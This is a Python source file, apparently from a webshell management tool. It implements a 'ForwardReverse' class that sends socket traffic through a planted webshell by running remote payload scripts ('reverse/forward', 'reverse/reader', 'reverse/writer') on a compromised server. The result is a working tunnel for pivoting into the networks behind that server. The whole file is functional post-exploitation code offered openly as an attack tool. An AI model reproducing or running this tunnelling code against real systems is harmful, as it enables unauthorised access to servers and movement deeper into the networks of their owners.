import threading
import json
import base64
import socket
import select
from api.exploit import WebshellExploit
from api import utils, logger


class ForwardReverse(threading.Thread):
    '''反向端口转发，即将本地端口转发到远程服务器上, 端口只允许连接一次
    '''

    def __init__(self, lhost: str, lport: int, rhost: str, rport: int, upload_buf_size: int, exploit: WebshellExploit):
        super().__init__()
        self.lhost = lhost
        self.lport = lport
        self.rhost = rhost
        self.rport = rport
        self.upload_buf_size = upload_buf_size
        self.exp = exploit

        self.connections = {}  # 存储已建立连接,如{'sessionid':socket}
        self.lock = threading.Lock()
        self._rule_name = f"{self.lhost}:{self.lport} <= {self.rhost}:{self.rport}"
        self.name = self._rule_name

    def _writer(self, sessionid: str):
        sock = self.connections.get(sessionid)
        if sock is None:
            return
        readl = [sock, ]
        while sessionid in self.connections:
            rl, wl, el = select.select(readl, [], [], 180)
            if not rl:
                break
            writebuf = b''
            while True:
                tmp = None
                try:
                    tmp = sock.recv(1024)
                except BlockingIOError:
                    pass
                except OSError:
                    self._close(sessionid)
                    return
                if not tmp:
                    break
                writebuf += tmp
            while writebuf:
                block = writebuf[:self.upload_buf_size] if self.upload_buf_size > 0 else writebuf
                writebuf = writebuf[self.upload_buf_size:] if self.upload_buf_size > 0 else False
                self.exp.evalfile('reverse/writer',
                                  sessionid=sessionid, writebuf=block)

        self._close(sessionid)

    def _reader(self, sessionid: str):
        sock = self.connections.get(sessionid)
        if sock is None:
            return
        while sessionid in self.connections:
            self.exp.session.client.options.set_temp_option('timeout', 0)
            self.exp.session.client.options.set_temp_option('verbose', 1)
            ret = self.exp.evalfile('reverse/reader', sessionid=sessionid)
            ret = ret.data
            if ret is None:
                break
            ret = json.loads(ret)
            if ret['code'] == 1:
                data = base64.b64decode(ret['msg'].encode())
                try:
                    sock.sendall(data)
                except OSError:
                    break
            elif ret['code'] == -1:
                break

        self._close(sessionid)

    def _close(self, sessionid: str):
        self.lock.acquire()
        if sessionid in self.connections:
            sock = self.connections.pop(sessionid)
            if sock:
                try:
                    sock.shutdown(socket.SHUT_RDWR)
                except OSError:
                    pass
                sock.close()
            self.exp.evalfile('reverse/close', sessionid=sessionid)
            logger.warning('Connection is closed!')
        self.lock.release()

    def _forward(self, sessionid: str):
        '''执行前需要把webshell超时时间设置为无限
        '''
        self.exp.session.client.options.set_temp_option('timeout', 0)
        self.exp.session.client.options.set_temp_option('verbose', 1)
        ret = self.exp.evalfile(
            'reverse/forward', rhost=self.rhost, rport=self.rport, sessionid=sessionid)
        ret = ret.data
        if ret is None:
            logger.warning(
                "Forward request has exit!If forwarding is still working, please ignore this warning.")
            return
        ret = json.loads(ret)
        if ret['code'] == -1:
            error = base64.b64decode(ret['msg'].encode()).decode(
                self.exp.session.client.options.encoding, 'ignore')
            logger.error(error)
        elif ret['code'] == 0:
            logger.error(
                f"The remote host cannot use the socket on rule `{self._rule_name}`!")
        elif ret['code'] == 1:
            logger.info(
                f"Connection has closed successfully on rule `{self._rule_name}`!", False)

        self._close(sessionid)

    def close(self):  # 关闭所有连接并退出线程
        for i in self.connections:
            self._close(i)
            break

        self.join(5)
        if self.is_alive():
            utils.kill_thread(self.ident)

    def _test_connect(self, sessionid: str) -> bool:
        self.exp.session.client.options.set_temp_option('timeout', 0)
        self.exp.session.client.options.set_temp_option('verbose', 0)
        ret = self.exp.evalfile('reverse/test_connect', sessionid=sessionid)
        ret = ret.data
        if ret is None:
            return False
        if ret == '1':
            logger.info(
                f"A connect created on rule `{self._rule_name}`!", True)
            return True
        elif ret == "-1":
            self._close(sessionid)
        return False

    def run(self):
        thread_list = []
        sessionid = utils.randomstr(16)
        self.connections[sessionid] = None

        forwardwork = threading.Thread(
            target=self._forward, args=(sessionid, ))
        forwardwork.setDaemon(True)
        thread_list.append(forwardwork)
        forwardwork.start()
        utils.sleep(1)
        if self._test_connect(sessionid):
            sock = socket.socket()
            self.connections[sessionid] = sock
            sock.settimeout(5)
            try:
                sock.connect((self.lhost, self.lport))
            except OSError as e:
                logger.error(
                    f"Connect to `{self.lhost}:{self.lport}` on rule `{self._rule_name}` failed!")
                logger.error(e.strerror)
                self._close(sessionid)
                for t in thread_list:
                    t.join()
                return

            sock.setblocking(False)
            readerthread = threading.Thread(target=self._reader, args=(
                sessionid, ), name=f"{self._rule_name}-reader")
            writerthread = threading.Thread(target=self._writer, args=(
                sessionid, ), name=f"{self._rule_name}-writer")
            readerthread.setDaemon(True)
            writerthread.setDaemon(True)
            thread_list.append(readerthread)
            thread_list.append(writerthread)
            readerthread.start()
            writerthread.start()

        for t in thread_list:
            t.join()
